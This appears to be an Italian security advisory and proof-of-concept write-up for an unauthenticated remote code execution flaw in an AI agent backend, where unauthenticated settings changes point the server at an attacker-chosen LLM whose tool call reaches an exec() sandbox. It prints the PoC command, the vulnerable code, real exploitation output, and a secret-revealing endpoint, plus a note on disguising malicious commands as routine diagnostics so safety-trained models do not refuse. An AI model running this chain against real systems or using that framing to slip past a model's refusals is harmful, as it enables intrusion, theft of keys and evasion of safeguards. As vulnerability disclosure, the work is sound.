
CVE-2026-73678 — MindsDB Minds Platform RCE non autenticata tramite scratchpad exec (CVSS 10.0). Verificato end-to-end con un LLM reale.
CVSS 10.0 (Critico) · CWE-94 / CWE-306 · GHSA-jcxw-h8ph-pxpv · VulnCheck
Minds Platform (il backend open-source di mindsdb/mindshub, in precedenza mindsdb/minds-platform) espone POST /api/v1/responses/ (un'API Responses compatibile con OpenAI, porta 26866) senza alcuna autenticazione. Non è presente middleware di autenticazione — nessun controllo Bearer, nessuna sessione, nulla. Il server installa solo un middleware CORS permissivo (allow_origins=["*"], allow_credentials=True).
Un attaccante non autenticato può quindi:
Iniettare la propria configurazione LLM tramite PUT /api/v1/settings/{key} (, , , , ) — nessun token richiesto, tutte le richieste restituiscono 200.
openai_api_keyopenai_base_urlplanning_providercoding_provider*_modelInviare un prompt appositamente costruito a POST /api/v1/responses/ → ResponsesHandler.handle() → Anton ChatSession.turn_stream(input).
L'LLM (controllato dall'attaccante) restituisce una chiamata di funzione per lo strumento integrato scratchpad (action: "exec"). handle_scratchpad → prepare_scratchpad_exec → ScratchpadManager → LocalScratchpadRuntime → scratchpad_boot.py:
compiled = compile(code, "<scratchpad>", "exec")
exec(compiled, namespace) # arbitrary Python → arbitrary OS commands
Poiché l'endpoint LLM è scelto dall'attaccante (BYOK), l'attaccante può far sì che il modello restituisca qualsiasi codice scratchpad — non è richiesta alcuna cooperazione o coercizione del modello. L'unico prerequisito è una chiave API LLM funzionante e compatibile con OpenAI.
Versioni interessate: ≤ v26.1.0 (codice vulnerabile aggiunto il 2026-06-08, "Fresh #12461"). Patch: NESSUNA — la GHSA non elenca alcuna versione corretta; la exec() rimane in main (esistono solo un middleware Bearer COWORK_REQUIRE_AUTH opzionale, disattivato per impostazione predefinita, e controlli di scope per la modalità org).
python3 poc_cve-2026-73678.py \
--target http://TARGET:26866 \
--api-key sk-YOUR_OWN_KEY \
--base-url https://api.openai.com/v1 \
--model gpt-4o
Il PoC:
PUT /api/v1/settings/* senza autenticazioneuname -a + hostname tramite scratchpad exec)cat /tmp/system_info.txt sull'hostNota sul prompt engineering: i modelli con un addestramento alla sicurezza forte potrebbero rifiutare comandi chiaramente dannosi (ad es. nomi di file contenenti "pwn"). Inquadrate la richiesta come manutenzione ordinaria (diagnostica di sistema, health check) — lo scratchpad esegue qualsiasi codice fornito dal modello.
Catena end-to-end reale contro cowork-server==0.26.6.26.1 con un provider LLM reale (OpenCode Zen, minimax-m3):
== [1] AUTH-FREE SETTINGS INJECTION ==
PUT /api/v1/settings/openai_api_key: HTTP 200
PUT /api/v1/settings/openai_base_url: HTTP 200
PUT /api/v1/settings/planning_provider: HTTP 200
PUT /api/v1/settings/coding_provider: HTTP 200
PUT /api/v1/settings/planning_model: HTTP 200
PUT /api/v1/settings/coding_model: HTTP 200
== [2] CRAFTED PROMPT -> POST /api/v1/responses/ ==
HTTP 200 (15.6s) — LLM called the scratchpad tool
== [3] COMMAND EXECUTION CONFIRMED ==
/tmp/system_info.txt inside the container:
Linux 95d5d7fa74f6 6.12.75+rpt-rpi-2712 ... aarch64 GNU/Linux
95d5d7fa74f6
Non è stato inviato alcun token in nessun momento. L'output di uname -a è stato prodotto all'interno del container target dallo scratchpad exec — esecuzione arbitraria di comandi di sistema come attaccante remoto non autenticato.
GET /api/v1/settings/reveal-key/{name} rivela i segreti configurati; POST /api/v1/settings/raw scrive ~/.anton/.env.mindsdb/mindshub)